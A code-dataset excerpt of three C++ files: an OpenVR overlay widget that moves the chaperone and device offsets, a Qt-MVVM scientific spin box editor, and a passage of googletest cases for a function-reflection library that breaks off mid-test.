glm::vec3 flattenedCur = m_currentOffset * mask; glm::vec3 flattendedTrans = glm::vec3(0.f); if (glm::length(flattenedCur) > m_step) { flattendedTrans = m_step * (-glm::normalize(flattenedCur)); } else if (glm::length(flattenedCur) < m_step) { flattendedTrans = -flattenedCur; } // Do nothing if we are already at zero // apply it back to the original translation translation = translation + (mask * flattendedTrans); } else { // for now, still have rtc in the y axis, as we do not have a separate button for up at the moment. This will be changed at a later time if (translation.y == 0.f) { if (m_currentOffset.y >= m_step) { translation.y = -m_step; } else if (m_currentOffset.y < m_step && m_currentOffset.y > 0.f) { translation.y = -m_currentOffset.y; } else if (m_currentOffset.y > -m_step && m_currentOffset.y < 0.f) { translation.y = -m_currentOffset.y; } else if (m_currentOffset.y <= -m_step) { translation.y = m_step; } // Do nothing if we are already at zero } } //// return to centre if no other input is given //if (translation.x == 0.f) { // if (m_currentOffset.x >= m_step) { // translation.x = -m_step; // } // else if (m_currentOffset.x < m_step && m_currentOffset.x > 0.f) { // translation.x = -m_currentOffset.x; // } // else if (m_currentOffset.x > -m_step && m_currentOffset.x < 0.f) { // translation.x = -m_currentOffset.x; // } // else if (m_currentOffset.x <= -m_step) { // translation.x = m_step; // } // // Do nothing if we are already at zero //} //if (translation.y == 0.f) { // if (m_currentOffset.y >= m_step) { // translation.y = -m_step; // } // else if (m_currentOffset.y < m_step && m_currentOffset.y > 0.f) { // translation.y = -m_currentOffset.y; // } // else if (m_currentOffset.y > -m_step && m_currentOffset.y < 0.f) { // translation.y = -m_currentOffset.y; // } // else if (m_currentOffset.y <= -m_step) { // translation.y = m_step; // } // // Do nothing if we are already at zero //} //if (translation.z == 0.f) { // if (m_currentOffset.z >= m_step) { // translation.z = -m_step; // } // else if (m_currentOffset.z < m_step && m_currentOffset.z > 0.f) { // translation.z = -m_currentOffset.z; // } // else if (m_currentOffset.z > -m_step && m_currentOffset.z < 0.f) { // translation.z = -m_currentOffset.z; // } // else if (m_currentOffset.z <= -m_step) { // translation.z = m_step; // } // // Do nothing if we are already at zero //} // clamp glm::vec3 newOffest = m_currentOffset + translation; glm::vec3 currentOffsetXZ = glm::vec3(m_currentOffset.x, 0.f, m_currentOffset.z); glm::vec3 newOffsetXZ = glm::vec3(newOffest.x, 0.f, newOffest.z); if(glm::length(newOffsetXZ) > m_maxOffset.x){ newOffsetXZ = glm::normalize(newOffsetXZ) * m_maxOffset.x; glm::vec3 newTranslationXZ = newOffsetXZ - currentOffsetXZ; translation.x = newTranslationXZ.x; translation.z = newTranslationXZ.z; } if(newOffest.y > m_maxOffset.y){ translation.y = m_maxOffset.y - m_currentOffset.y; } else if (newOffest.y < -m_maxOffset.y){ translation.y = -m_maxOffset.y - m_currentOffset.y; } return translation; } void OverlayWidget::printMatrix(glm::mat4x3 m) { if (!m_log) return; std::cout << std::endl; std::cout << m[0][0] << " | " << m[1][0] << " | " << m[2][0] << " | " << m[3][0] << std::endl; std::cout << m[0][1] << " | " << m[1][1] << " | " << m[2][1] << " | " << m[3][1] << std::endl; std::cout << m[0][2] << " | " << m[1][2] << " | " << m[2][2] << " | " << m[3][2] << std::endl; } void OverlayWidget::printMatrix(glm::mat4x4 m) { if (!m_log) return; std::cout << std::endl; std::cout << m[0][0] << " | " << m[1][0] << " | " << m[2][0] << " | " << m[3][0] << std::endl; std::cout << m[0][1] << " | " << m[1][1] << " | " << m[2][1] << " | " << m[3][1] << std::endl; std::cout << m[0][2] << " | " << m[1][2] << " | " << m[2][2] << " | " << m[3][2] << std::endl; std::cout << m[0][3] << " | " << m[1][3] << " | " << m[2][3] << " | " << m[3][3] << std::endl; } void OverlayWidget::printDevices() { std::cout << "Started discovering device classes:" << std::endl; for (uint32_t deviceIndex = 0; deviceIndex < vr::k_unMaxTrackedDeviceCount; deviceIndex++) { if (!vr::VRSystem()->IsTrackedDeviceConnected(deviceIndex)) continue; vr::ETrackedPropertyError pError; vr::ETrackedDeviceClass deviceClass = vr::VRSystem()->GetTrackedDeviceClass(deviceIndex); char controllerType[1028] = { '\0' }; vr::VRSystem()->GetStringTrackedDeviceProperty(deviceIndex, vr::ETrackedDeviceProperty::Prop_ControllerType_String, controllerType, 1028, &pError); char manufacturer[1028] = { '\0' }; vr::VRSystem()->GetStringTrackedDeviceProperty(deviceIndex, vr::ETrackedDeviceProperty::Prop_ManufacturerName_String, manufacturer, 1028, &pError); char model[1028] = { '\0' }; vr::VRSystem()->GetStringTrackedDeviceProperty(deviceIndex, vr::ETrackedDeviceProperty::Prop_ModelNumber_String, model, 1028, &pError); std::string deviceClassString = "Unidentified"; switch (deviceClass) { case vr::ETrackedDeviceClass::TrackedDeviceClass_Controller: deviceClassString = "Controller"; break; case vr::ETrackedDeviceClass::TrackedDeviceClass_DisplayRedirect: deviceClassString = "DisplayRedirect"; break; case vr::ETrackedDeviceClass::TrackedDeviceClass_GenericTracker: deviceClassString = "GenericTracker"; break; case vr::ETrackedDeviceClass::TrackedDeviceClass_HMD: deviceClassString = "HMD"; break; case vr::ETrackedDeviceClass::TrackedDeviceClass_Invalid: deviceClassString = "Invalid"; break; case vr::ETrackedDeviceClass::TrackedDeviceClass_Max: deviceClassString = "Max"; break; case vr::ETrackedDeviceClass::TrackedDeviceClass_TrackingReference: deviceClassString = "TrackingReference"; break; } std::cout << std::endl; std::cout << "Index: " << deviceIndex << std::endl; std::cout << "Class: " << deviceClassString << std::endl; std::cout << "Controller Type: " << controllerType << std::endl; std::cout << "Manufacturer: " << manufacturer << std::endl; std::cout << "Model Number: " << model << std::endl; } std::cout << "Completed discovery" << std::endl << std::endl; } // Input processing, do it here void OverlayWidget::update() { // Update the action set state vr::VRActiveActionSet_t actionSet = { 0 }; actionSet.ulActionSet = m_handleSetMain; vr::VRInput()->UpdateActionState(&actionSet, sizeof(actionSet), 1); // check reset button separately vr::InputDigitalActionData_t actionData; vr::EVRInputError error = vr::VRInput()->GetDigitalActionData(m_handleDigitalReset, &actionData, sizeof(actionData), vr::k_ulInvalidInputValueHandle); if (actionData.bState && actionData.bActive) { ResetChaperoneOffset(); } // Get input from actions glm::vec3 digitalInputMovement = getRawInputDigital(); glm::vec3 analogueInputMovement = getRawInputAnalogue(); float rotation = getRotationAnalogue(); glm::vec3 rawMovement = digitalInputMovement + analogueInputMovement; glm::vec3 processedMovement = processInput(rawMovement); if (m_log) { std::cout << "Raw length: " << glm::length(rawMovement) << std::endl; std::cout << "Processed length: " << glm::length(processedMovement) << std::endl << std::endl; } // apply (if there is something to apply) if (processedMovement.x != 0.f || processedMovement.y != 0.f || processedMovement.z != 0.f || rotation != 0.f) { //SetChaperoneOffset(processedMovement, rotation, false); m_currentOffset = m_currentOffset + processedMovement; m_currentRotation = m_currentRotation + rotation; SetChaperoneOffsetExp(m_currentOffset, m_currentRotation, false); } } void OverlayWidget::ResetChaperoneOffset() { // Reset steamVR pose vr::VRChaperoneSetup()->HideWorkingSetPreview(); vr::VRChaperoneSetup()->RevertWorkingCopy(); // Working copy is updated with live values vr::VRChaperoneSetup()->SetWorkingStandingZeroPoseToRawTrackingPose(&m_initialMatrix); //vr::VRChaperoneSetup()->CommitWorkingCopy(vr::EChaperoneConfigFile_Live); vr::VRChaperoneSetup()->CommitWorkingCopy(vr::EChaperoneConfigFile_Temp); m_currentOffset = glm::vec3(0.f); m_currentRotation = 0.f; } std::string OverlayWidget::getStringProperty(vr::TrackedDeviceIndex_t deviceIndex, vr::ETrackedDeviceProperty deviceProperty) { vr::ETrackedPropertyError pError; char propertyChar[1028] = { '\0' }; vr::VRSystem()->GetStringTrackedDeviceProperty(deviceIndex, deviceProperty, propertyChar, 1028, &pError); return std::string(propertyChar); } void OverlayWidget::SetChaperoneOffsetExp(glm::vec3 translation, float rotation, bool moveBounds) { glm::vec3 hmdPos = glm::vec3(0.f); //////////////////////////// // get all devices positions //////////////////////////// // timing stuff float fSecondsSinceLastVsync; vr::VRSystem()->GetTimeSinceLastVsync(&fSecondsSinceLastVsync, NULL); float fDisplayFrequency = vr::VRSystem()->GetFloatTrackedDeviceProperty(vr::k_unTrackedDeviceIndex_Hmd, vr::Prop_DisplayFrequency_Float); float fFrameDuration = 1.f / fDisplayFrequency; float fVsyncToPhotons = vr::VRSystem()->GetFloatTrackedDeviceProperty(vr::k_unTrackedDeviceIndex_Hmd, vr::Prop_SecondsFromVsyncToPhotons_Float); float fPredictedSecondsFromNow = fFrameDuration - fSecondsSinceLastVsync + fVsyncToPhotons; // Querry all poses vr::TrackedDevicePose_t devicePoses[vr::k_unMaxTrackedDeviceCount]; vr::VRSystem()->GetDeviceToAbsoluteTrackingPose(vr::TrackingUniverseRawAndUncalibrated, fPredictedSecondsFromNow, devicePoses, vr::k_unMaxTrackedDeviceCount); // storage for all device positions glm::vec3 devicePos[vr::k_unMaxTrackedDeviceCount]; for (uint32_t deviceIndex = 0; deviceIndex < vr::k_unMaxTrackedDeviceCount; deviceIndex++) { if (!vr::VRSystem()->IsTrackedDeviceConnected(deviceIndex)) continue; vr::TrackedDevicePose_t* pose = devicePoses + deviceIndex; vr::HmdMatrix34_t* poseMat = &(pose->mDeviceToAbsoluteTracking); if (pose->bPoseIsValid && pose->bDeviceIsConnected) { devicePos[deviceIndex] = glm::vec3(poseMat->m[0][3], poseMat->m[1][3], poseMat->m[2][3]); } // We want to store the hmd pos seperately vr::ETrackedDeviceClass deviceClass = vr::VRSystem()->GetTrackedDeviceClass(deviceIndex); if (deviceClass == vr::ETrackedDeviceClass::TrackedDeviceClass_HMD) { hmdPos = devicePos[deviceIndex]; } } for (uint32_t deviceIndex = 0; deviceIndex < vr::k_unMaxTrackedDeviceCount; deviceIndex++) { if (!vr::VRSystem()->IsTrackedDeviceConnected(deviceIndex)) continue; std::string controllerType = getStringProperty(deviceIndex, vr::ETrackedDeviceProperty::Prop_ControllerType_String); // exclude Liv cam if (controllerType == "liv_virtualcamera") continue; // temporary: only the controller are moved now // used for tracking down issues with controller rotation //vr::ETrackedDeviceClass deviceClass = vr::VRSystem()->GetTrackedDeviceClass(deviceIndex); //if (deviceClass != vr::ETrackedDeviceClass::TrackedDeviceClass_Controller) { // continue; //} // calculate rotatiom matrix // glm::vec3 actualCentre = -m_initialTranslation; more like a note reminding me where the actual centre lies //glm::vec3 perceivedCentre = glm::vec3(0.f); //glm::vec3 fromHmdToDevice = devicePos[deviceIndex] - hmdPos; // not used yet glm::mat4 fromActualToPerceived = glm::translate(glm::mat4(1.f), m_initialTranslation); glm::mat4 rotMat = glm::rotate(glm::mat4(1.f), rotation, glm::vec3(0.f, 1.f, 0.f)); glm::mat4 fromPerceivedToActual = glm::translate(glm::mat4(1.f), -m_initialTranslation); glm::mat4 rotation = fromActualToPerceived * rotMat * fromPerceivedToActual; //rotation = rotMat; m_inputEmulator.enableDeviceOffsets(deviceIndex, true, false); // Apply Rotation glm::fquat quat = glm::quat_cast(rotation); vr::HmdQuaternion_t copyRotation; copyRotation.x = quat.x; copyRotation.y = quat.y; copyRotation.z = quat.z; copyRotation.w = quat.w; m_inputEmulator.setWorldFromDriverRotationOffset(deviceIndex, copyRotation, false); // Apply translation glm::vec3 rotationalTranslation = glm::vec3(rotation[3]); translation = rotationalTranslation + translation; vr::HmdVector3d_t copyTranslation; copyTranslation.v[0] = translation.x; copyTranslation.v[1] = translation.y; copyTranslation.v[2] = translation.z; m_inputEmulator.setWorldFromDriverTranslationOffset(deviceIndex, copyTranslation, false); } } void OverlayWidget::SetChaperoneOffset(glm::vec3 translation, float rotation, bool moveBounds) { vr::VRChaperoneSetup()->HideWorkingSetPreview(); vr::VRChaperoneSetup()->RevertWorkingCopy(); // Working copy is updated with live values // get values vr::HmdMatrix34_t currentPosRaw; bool success = vr::VRChaperoneSetup()->GetWorkingStandingZeroPoseToRawTrackingPose(&currentPosRaw); if (!success) return; // convert raw into glm format glm::mat4x3 currentPos = VRUtils::OVRMatrixToGLM(currentPosRaw); // create transformation matrices glm::mat4 translationMat = glm::translate(glm::mat4(1.0f), translation); glm::mat4 rotationMat = glm::rotate(glm::mat4(1.0f), rotation, glm::vec3(0.f, 1.f, 0.f)); // apply transformation matrics currentPos = currentPos * translationMat * rotationMat; // convert back to raw currentPosRaw = VRUtils::GLMMAtrixToOVR(currentPos); vr::VRChaperoneSetup()->SetWorkingStandingZeroPoseToRawTrackingPose(&currentPosRaw); // do we want to move the bounds as well? // If not, we have to apply a negative offset on them if (moveBounds == false) { // first query how many vertices the bound has unsigned collisionBoundsCount = 0; vr::VRChaperoneSetup()->GetWorkingCollisionBoundsInfo(nullptr, &collisionBoundsCount); if (collisionBoundsCount > 0) { // now assign memory and get bounds themselves vr::HmdQuad_t* collisionBounds = new vr::HmdQuad_t[collisionBoundsCount]; vr::VRChaperoneSetup()->GetWorkingCollisionBoundsInfo(collisionBounds, &collisionBoundsCount); // iterate over all of them and move them as requested for (unsigned b = 0; b < collisionBoundsCount; b++) { for (unsigned c = 0; c < 4; c++) { collisionBounds[b].vCorners[c].v[0] -= translation[0]; // keep lower coordinates on the ground as OpenVR sanity // checks the y coordinates. If they are not 0, it get's reset // to default. We don't want that. if (collisionBounds[b].vCorners[c].v[1] != 0.f) { collisionBounds[b].vCorners[c].v[1] -= translation[1]; } collisionBounds[b].vCorners[c].v[2] -= translation[2]; } } // apply and clean up vr::VRChaperoneSetup()->SetWorkingCollisionBoundsInfo(collisionBounds, collisionBoundsCount); delete[] collisionBounds; } } // commit //vr::VRChaperoneSetup()->CommitWorkingCopy(vr::EChaperoneConfigFile_Live); vr::VRChaperoneSetup()->CommitWorkingCopy(vr::EChaperoneConfigFile_Temp); } void OverlayWidget::SetCollisionBoundsOffset(float offset[3]) { // very similar to when we want to manipulate the whole playspace // align working copy with original vr::VRChaperoneSetup()->HideWorkingSetPreview(); vr::VRChaperoneSetup()->RevertWorkingCopy(); // first query how many vertices the bound has unsigned collisionBoundsCount = 0; vr::VRChaperoneSetup()->GetWorkingCollisionBoundsInfo(nullptr, &collisionBoundsCount); if (collisionBoundsCount > 0) { // now assign memory and get bounds themselves vr::HmdQuad_t* collisionBounds = new vr::HmdQuad_t[collisionBoundsCount]; vr::VRChaperoneSetup()->GetWorkingCollisionBoundsInfo(collisionBounds, &collisionBoundsCount); // iterate over all of them and move them as requested for (unsigned b = 0; b < collisionBoundsCount; b++) { for (unsigned c = 0; c < 4; c++) { collisionBounds[b].vCorners[c].v[0] += offset[0]; // keep lower coordinates on the ground as OpenVR sanity // checks the y coordinates. If they are not 0, it get's reset // to default. We don't want that. if (collisionBounds[b].vCorners[c].v[1] != 0.f) { collisionBounds[b].vCorners[c].v[1] += offset[1]; } collisionBounds[b].vCorners[c].v[2] += offset[2]; } } // apply and clean up vr::VRChaperoneSetup()->SetWorkingCollisionBoundsInfo(collisionBounds, collisionBoundsCount); delete[] collisionBounds; // commit //vr::VRChaperoneSetup()->CommitWorkingCopy(vr::EChaperoneConfigFile_Live); vr::VRChaperoneSetup()->CommitWorkingCopy(vr::EChaperoneConfigFile_Temp); } } void OverlayWidget::on_movLimitSpinBox_XZ_valueChanged(double newMaxOffsetX) { m_maxOffset.x = static_cast<float>(newMaxOffsetX); } void OverlayWidget::on_movLimitSpinBox_Y_valueChanged(double newMaxOffsetY) { m_maxOffset.y = static_cast<float>(newMaxOffsetY); } void OverlayWidget::on_rtc_checkBox_stateChanged(int arg1) { // arg1 is actually a enum Qt::CheckState // https://doc.qt.io/qt-5/qt.html#CheckState-enum if (arg1 == 0) { m_returnToCentre = false; } else { m_returnToCentre = true; } }
33.527368
168
0.715111
[ "vector", "model" ]
bbe18b7d45d32e5233b5329582572ef409002268
2,073
cpp
C++
qt-mvvm/source/libmvvm_viewmodel/mvvm/editors/scientificspinboxeditor.cpp
seaCheng/animation-
89a0cb0efbcfea202965a5851979ae6f1b67f8f0
[ "BSD-3-Clause" ]
6
2021-12-08T03:09:47.000Z
2022-02-24T03:51:14.000Z
qt-mvvm/source/libmvvm_viewmodel/mvvm/editors/scientificspinboxeditor.cpp
seaCheng/animation-
89a0cb0efbcfea202965a5851979ae6f1b67f8f0
[ "BSD-3-Clause" ]
null
null
null
qt-mvvm/source/libmvvm_viewmodel/mvvm/editors/scientificspinboxeditor.cpp
seaCheng/animation-
89a0cb0efbcfea202965a5851979ae6f1b67f8f0
[ "BSD-3-Clause" ]
null
null
null
// ************************************************************************** // // // Model-view-view-model framework for large GUI applications // //! @license GNU General Public License v3 or higher (see COPYING) //! @authors see AUTHORS // // ************************************************************************** // #include "mvvm/editors/scientificspinboxeditor.h" #include "mvvm/editors/scientificspinbox.h" #include "mvvm/utils/numericutils.h" #include <QVBoxLayout> #include <stdexcept> using namespace ModelView; ScientificSpinBoxEditor::ScientificSpinBoxEditor(QWidget* parent) : CustomEditor(parent), m_doubleEditor(new ScientificSpinBox) { setAutoFillBackground(true); setFocusPolicy(Qt::StrongFocus); m_doubleEditor->setFocusPolicy(Qt::StrongFocus); m_doubleEditor->setKeyboardTracking(false); auto layout = new QVBoxLayout; layout->setMargin(0); layout->setSpacing(0); layout->addWidget(m_doubleEditor); connect(m_doubleEditor, &ScientificSpinBox::valueChanged, [=] { this->onEditingFinished(); }); setLayout(layout); setFocusProxy(m_doubleEditor); } void ScientificSpinBoxEditor::setRange(double minimum, double maximum) { m_doubleEditor->setMinimum(minimum); m_doubleEditor->setMaximum(maximum); } void ScientificSpinBoxEditor::setDecimals(int decimals) { m_doubleEditor->setDecimals(decimals); } void ScientificSpinBoxEditor::setSingleStep(double step) { m_doubleEditor->setSingleStep(step); } bool ScientificSpinBoxEditor::is_persistent() const { return true; } void ScientificSpinBoxEditor::onEditingFinished() { double new_value = m_doubleEditor->value(); if (!Utils::AreAlmostEqual(new_value, m_data.value<double>())) setDataIntern(QVariant::fromValue(new_value)); } void ScientificSpinBoxEditor::update_components() { if (m_data.type() != QVariant::Double) throw std::runtime_error( "ScientificSpinBoxEditor::update_components() -> Error. Wrong variant type"); m_doubleEditor->setValue(m_data.value<double>()); }
27.276316
98
0.684033
[ "model" ]
bbe407b16b569a4a0baa849f9aa3ea930448f366
17,653
cpp
C++
sources/reflection/func/func_base_classes_test.cpp
xiaosa233/reflection_cpp
90d71152907b11ca3009b7b8cad3ca496684dbbd
[ "MIT" ]
null
null
null
sources/reflection/func/func_base_classes_test.cpp
xiaosa233/reflection_cpp
90d71152907b11ca3009b7b8cad3ca496684dbbd
[ "MIT" ]
null
null
null
sources/reflection/func/func_base_classes_test.cpp
xiaosa233/reflection_cpp
90d71152907b11ca3009b7b8cad3ca496684dbbd
[ "MIT" ]
null
null
null
#include "func/func_base_classes.h" #include "gtest/gtest.h" #include "func/func_info_spec.h" #include "func/func_item_spec.h" #include "reflection.h" namespace reflection { struct Base { virtual int fun() { return 1; } }; struct B : public Base { virtual int fun() override { return 2; } }; struct C : public Base { virtual int fun() override { return 3; } }; struct D : public B, public C { virtual int fun() override { return 4; } }; struct VirtualB : virtual public Base { virtual int fun() override { return 2; } }; struct VirtualC : virtual public Base { virtual int fun() override { return 3; } }; struct VirtualD : public VirtualB, public VirtualC { virtual int fun() override { return 4; } }; class ReflectionFuncObject : public meta_object { public: int general_func(int i, double j) { return i + static_cast<int>(j); } int default_param_func(int i, double j = 0.0) { return i + static_cast<int>(j); } int overload_func(int i) { return i; } double overload_func(double i) { return i; } int const_func(int i) const { return i; } virtual int virtual_func(int i) { return i; } static int static_general_func(ReflectionFuncObject* object) { return object->i; } int left_reference_func(const ReflectionFuncObject& object) { return object.i; } int right_reference_func(ReflectionFuncObject&& object) { return object.i; } int volatile_func(volatile int i) { return i; } bool operator==(const ReflectionFuncObject& obj) const { return i == obj.i; } std::string string_call(const std::string& input) { return input; } int virtual_public_func(Base* base) { return base->fun(); } template <class T> int template_func(const T& j) { return i + static_cast<int>(j); } void void_general_func(int i, double j) {} // Not support friend function. reflected(ReflectionFuncObject, (int, a)); reflected_func(ReflectionFuncObject, (general_func), (default_param_func), (const_func), (virtual_func), (static_general_func), (left_reference_func), (right_reference_func), (volatile_func), (operator==), (template_func<int>), (void_general_func), (string_call), (virtual_public_func)); private: int i = 233; }; // Check callable is legal. static_assert(is_arg_serializable<ReflectionFuncObject>::value, "ReflectionFuncObject should be true"); static_assert(!is_arg_serializable<ReflectionFuncObject*>::value, "ReflectionFuncObject* should be false"); static_assert(!is_arg_serializable<ReflectionFuncObject&>::value, "ReflectionFuncObject& should be false"); static_assert(is_arg_serializable<ReflectionFuncObject&&>::value, "ReflectionFuncObject&& should be true"); static_assert(is_arg_serializable<const ReflectionFuncObject&>::value, "const ReflectionFuncObject& should be true"); struct DerivedObject : public ReflectionFuncObject { int virtual_func(int i) override { return i + 1; } // namespace reflection }; #define declare_func_item(value, ClassT, func_name) \ auto value = func_item_spec<ClassT, decltype(&ClassT::func_name)>(#func_name, &ClassT::func_name) #define declare_overload_func_item(value, ClassT, types, func_name) \ auto value = func_item_spec<ClassT, types>(#func_name, &ClassT::func_name); declare_func_item(general_item, ReflectionFuncObject, general_func); declare_func_item(default_param_item, ReflectionFuncObject, default_param_func); declare_overload_func_item(overload_item, ReflectionFuncObject, int (ReflectionFuncObject::*)(int), overload_func); declare_func_item(const_item, ReflectionFuncObject, const_func); declare_func_item(virtual_item, ReflectionFuncObject, virtual_func); declare_func_item(static_general_item, ReflectionFuncObject, static_general_func); declare_func_item(left_reference_item, ReflectionFuncObject, left_reference_func); declare_func_item(right_reference_item, ReflectionFuncObject, right_reference_func); declare_func_item(volatile_item, ReflectionFuncObject, volatile_func); declare_func_item(operator_item, ReflectionFuncObject, operator==); declare_func_item(template_int_item, ReflectionFuncObject, template_func<int>); declare_func_item(template_double_item, ReflectionFuncObject, template_func<double>); #define expect_context_status_ok(value, status) \ do { \ const auto tmp_status = status; \ expect_ok(tmp_status); \ EXPECT_EQ(value, tmp_status.get()); \ } while (false) TEST(FuncItemTest, func_item) { ReflectionFuncObject object; { EXPECT_EQ(std::string_view("general_func"), general_item.func_name()); EXPECT_EQ("signed_integral_4(signed_integral_4,floating_point_8)", general_item.get_signature().to_string()); const ReflectionFuncObject* const_ptr = &object; expect_context_status_ok(3, general_item.invoke(&object, 2, 1.0)); const func_item* item = &object.get_func_info().get_func_item("general_func"); expect_context_status_ok(3, item->invoke<int>(&object, 2, 1.0)); expect_context_status_ok(3, item->invoke<int>(const_ptr, 2, 1.0)); string_status status = item->invoke_by_string({"2", "1.0"}, &object); expect_context_status_ok("3", status); EXPECT_FALSE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(2, item->args_size()); // ERROR! can not change the type of the parameters. // EXPECT_EQ(5, item->invoke<int>(&object, 2, 3.f)); expect_context_status_ok(3, object.invoke<int>(item->func_name(),2, 1.0)); expect_context_status_ok("3", object.invoke_by_string(item->func_name(), {"2", "1.0"})); } { EXPECT_EQ(std::string_view("default_param_func"), default_param_item.func_name()); expect_context_status_ok(3, default_param_item.invoke(&object, 2, 1.0)); // ERROR! Can not deal with the default paramters // EXPECT_EQ(2, default_param_item.invoke(&object, 2)); const func_item* item = &object.get_func_info().get_func_item("default_param_func"); expect_context_status_ok(3, item->invoke<int>(&object, 2, 1.0)); expect_context_status_ok("3", item->invoke_by_string({"2", "1.0"}, &object)); EXPECT_FALSE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(2, item->args_size()); expect_context_status_ok(3, object.invoke<int>(item->func_name(), 2, 1.0)); expect_context_status_ok("3", object.invoke_by_string(item->func_name(), {"2", "1.0"})); } { EXPECT_EQ(std::string_view("overload_func"), overload_item.func_name()); expect_context_status_ok(2, overload_item.invoke(&object, 2)); func_item* item = &overload_item; expect_context_status_ok(2, item->invoke<int>(&object, 2)); string_status status = item->invoke_by_string({"2"}, &object); expect_ok(status); EXPECT_EQ("2", status.get()); EXPECT_FALSE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); } { EXPECT_EQ(std::string_view("const_func"), const_item.func_name()); expect_context_status_ok(2, const_item.invoke(&object, 2)); const func_item* item = &object.get_func_info().get_func_item("const_func"); expect_context_status_ok(2, item->invoke<int>(&object, 2)); string_status status = item->invoke_by_string({"2"}, &object); expect_ok(status); EXPECT_EQ("2", status.get()); EXPECT_FALSE(item->is_static()); EXPECT_TRUE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); expect_context_status_ok(2, object.invoke<int>(item->func_name(), 2)); expect_context_status_ok("2", object.invoke_by_string(item->func_name(), {"2"})); } { EXPECT_EQ(std::string_view("virtual_func"), virtual_item.func_name()); expect_context_status_ok(2, virtual_item.invoke(&object, 2)); const func_item* item = &object.get_func_info().get_func_item("virtual_func"); expect_context_status_ok(2, item->invoke<int>(&object, 2)); DerivedObject derived_obj; expect_context_status_ok(3, virtual_item.invoke(&derived_obj, 2)); expect_context_status_ok(3, item->invoke<int>(&derived_obj, 2)); string_status status = item->invoke_by_string({"2"}, &object); expect_ok(status); EXPECT_EQ("2", status.get()); status = item->invoke_by_string({"2"}, &derived_obj); expect_ok(status); EXPECT_EQ("3", status.get()); EXPECT_FALSE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); expect_context_status_ok(2, object.invoke<int>(item->func_name(), 2)); expect_context_status_ok("2", object.invoke_by_string(item->func_name(), {"2"})); } { EXPECT_EQ(std::string_view("static_general_func"), static_general_item.func_name()); expect_context_status_ok(233, static_general_item.invoke(&object)); const func_item* item = &object.get_func_info().get_func_item("static_general_func"); expect_context_status_ok(233, item->invoke<int>(&object)); expect_error(item->invoke_by_string({"{}"})); EXPECT_TRUE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_FALSE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); expect_context_status_ok(233, object.invoke<int>(item->func_name(), &object)); expect_error(object.invoke_by_string(item->func_name(), {"{}"})); } { EXPECT_EQ(std::string_view("left_reference_func"), left_reference_item.func_name()); expect_context_status_ok(233, left_reference_item.invoke(&object, object)); const func_item* item = &object.get_func_info().get_func_item("left_reference_func"); expect_context_status_ok(233, item->invoke<int>(&object, object)); expect_context_status_ok(233, left_reference_item.invoke(&object, ReflectionFuncObject())); expect_context_status_ok(233, item->invoke<int>(&object, ReflectionFuncObject())); string_status status = item->invoke_by_string({"{}"}, &object); expect_ok(status); EXPECT_EQ("233", status.get()); EXPECT_FALSE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); expect_context_status_ok(233, object.invoke<int>(item->func_name(), object)); expect_context_status_ok("233", object.invoke_by_string(item->func_name(), {"{}"})); } { EXPECT_EQ(std::string_view("right_reference_func"), right_reference_item.func_name()); expect_context_status_ok(233, right_reference_item.invoke(&object, std::move(object))); const func_item* item = &object.get_func_info().get_func_item("right_reference_func"); expect_context_status_ok(233, item->invoke<int>(&object, std::move(object))); expect_context_status_ok(233, item->invoke<int>(&object, object)); // OK, but not legal expect_context_status_ok(233, right_reference_item.invoke(&object, ReflectionFuncObject())); expect_context_status_ok(233, item->invoke<int>(&object, ReflectionFuncObject())); string_status status = item->invoke_by_string({"{}"}, &object); expect_ok(status); EXPECT_EQ("233", status.get()); EXPECT_FALSE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); expect_context_status_ok(233, object.invoke<int>(item->func_name(), object)); expect_context_status_ok(233, object.invoke<int>(item->func_name(), std::move(object))); expect_context_status_ok("233", object.invoke_by_string(item->func_name(), {"{}"})); } { EXPECT_EQ(std::string_view("volatile_func"), volatile_item.func_name()); expect_context_status_ok(233, volatile_item.invoke(&object, 233)); const func_item* item = &object.get_func_info().get_func_item("volatile_func"); expect_context_status_ok(233, item->invoke<int>(&object, 233)); volatile int i = 233; expect_context_status_ok(233, volatile_item.invoke(&object, i)); expect_context_status_ok(233, item->invoke<int>(&object, i)); string_status status = item->invoke_by_string({"233"}, &object); expect_ok(status); EXPECT_EQ("233", status.get()); EXPECT_FALSE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); expect_context_status_ok(233, object.invoke<int>(item->func_name(), i)); expect_context_status_ok("233", object.invoke_by_string(item->func_name(), {"233"})); } { EXPECT_EQ(std::string_view("operator=="), operator_item.func_name()); expect_context_status_ok(true, operator_item.invoke(&object, ReflectionFuncObject())); expect_context_status_ok(true, operator_item.invoke(&object, object)); const func_item* item = &object.get_func_info().get_func_item("operator=="); expect_context_status_ok(true, item->invoke<bool>(&object, ReflectionFuncObject())); expect_context_status_ok(true, item->invoke<bool>(&object, object)); string_status status = item->invoke_by_string({"{}"}, &object); expect_ok(status); EXPECT_EQ("true", status.get()); EXPECT_FALSE(item->is_static()); EXPECT_TRUE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); expect_context_status_ok(true, object.invoke<bool>(item->func_name(), ReflectionFuncObject())); expect_context_status_ok("true", object.invoke_by_string(item->func_name(), {"{}"})); } { EXPECT_EQ(std::string_view("template_func<int>"), template_int_item.func_name()); expect_context_status_ok(236, template_int_item.invoke(&object, 3)); const func_item* item = &object.get_func_info().get_func_item("template_func<int>"); expect_context_status_ok(236, item->invoke<int>(&object, 3)); string_status status = item->invoke_by_string({"3"}, &object); expect_ok(status); EXPECT_EQ("236", status.get()); EXPECT_FALSE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); expect_context_status_ok(236, 